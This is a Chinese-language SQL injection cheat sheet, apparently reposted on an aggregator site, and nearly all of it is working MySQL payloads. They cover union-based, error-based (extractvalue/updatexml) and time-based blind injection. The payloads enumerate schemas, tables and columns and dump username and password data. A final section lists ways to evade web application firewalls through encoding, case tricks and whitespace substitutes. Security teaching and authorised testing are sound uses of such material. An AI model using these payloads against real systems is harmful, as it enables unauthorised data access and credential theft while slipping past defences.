SQL注入备忘录

Posted gaonuoqi

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了SQL注入备忘录相关的知识,希望对你有一定的参考价值。

常见注入类型

联合注入

布尔注入

报错注入

盲注(时间、布尔)

堆叠注入

 

三个重要表

information_schema.schemata存放库名的表
information_schema.tables存放表名的表
information_schema.columns存放字段名的表

其他信息

version() 查看数据库版本

user()查看当前用户

@@version_compile_os 操作系统

@@datadir 读取数据库路径
@@basedir mysql 获取安装路径

 

先确实构造的SQL语句,常见的类型 数字型、数字括号、单引号、单引号括号、双引号、双引号括号

 

联合注入

有显示位置的时候可以使用

确定列的数量,常用order by,group by 后面带数字,当数字大于列名就会报错

确定显示位置,让前面sql查找为空,union select 1,2,3 ... 找到显示位置

union select group_concat(table_name) from information_schema.tables where table_schema=database() --+ 暴露表名

union select 1,2,group_concat(column_name) from information_schema.columns where table_name=users --+  暴露列名

union select 1,2,group_concat(username,password) from users--+ 暴露数据

 

报错注入

基于extractvalue函数

and extractvalue(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata))) --+ 暴露数据库名

and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+ 暴露表名

and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=users))) --+ 暴露列名

and extractvalue(1,concat(0x7e,(select group_concat(username,password) from users))) --+  暴露数据

 

基于updatexml函数

and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),0) --+ 暴露表名

and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database())),0) --+ 暴露列名

and updatexml(1,concat(0x7e,(select group_concat(username,password) from users)),0) --+ 暴露数据

 

 

延时盲注

 or if(length(database())=8,sleep(3),1) --+  数据库长度

or if(ord(mid(database(),1,1))=115,sleep(4),1) --+  数据库名

or if((select count(table_name) from information_schema.tables where table_schema=database())=4,sleep(3),1) --+ 表的数量

or if((select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=6,sleep(3),1) --+ 表的长度

or if(ord(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<150,sleep(5),1) --+ 第一个表名

or if((select count(column_name) from information_schema.columns where table_name=users)<10,sleep(5),1) --+ users表中列的数量

or if((select length(column_name) from information_schema.columns where table_name=users limit 0,1)<5,sleep(3),1) --+  列的长度

or if(ord(mid((select column_name from information_schema.columns where table_name=users limit 0,1),1,1))<150,sleep(2),1) --+ 列名

or if(ord(mid((select username from users limit 0,1),1,1))=68,sleep(3),1) --+  users表username列名中数据的内容

 

绕过WAF

可以尝试大小写绕过 、双写绕过,或者十六进制编码、URL编码绕过

过滤and  可以用&&  

过滤or     可以用 ||   

过滤空格  可以用 %20 %09 %0a %0b %0c %0d   /**/  /*!*/

功能相同函数

    hex()、bin() ==> ascii()
    sleep() ==>benchmark()
    concat_ws()==>group_concat()
    mid()、substr() ==> substring()

 

 

 

 

 

 

 

以上是关于SQL注入备忘录的主要内容,如果未能解决你的问题,请参考以下文章

SQL注入备忘录拓展

表哥有话说 第25期Sql注入备忘录

安全测试 web安全测试 常规安全漏洞 可能存在SQL和JS注入漏洞场景分析。为什么自己没有找到漏洞,哪么可能存在漏洞场景是?SQL注入漏洞修复 JS注入漏洞修复 漏洞存在场景分析和修复示例(代码片段

C#常用代码片段备忘

MyBatis如何防止SQL注入

MyBatis怎么防止SQL注入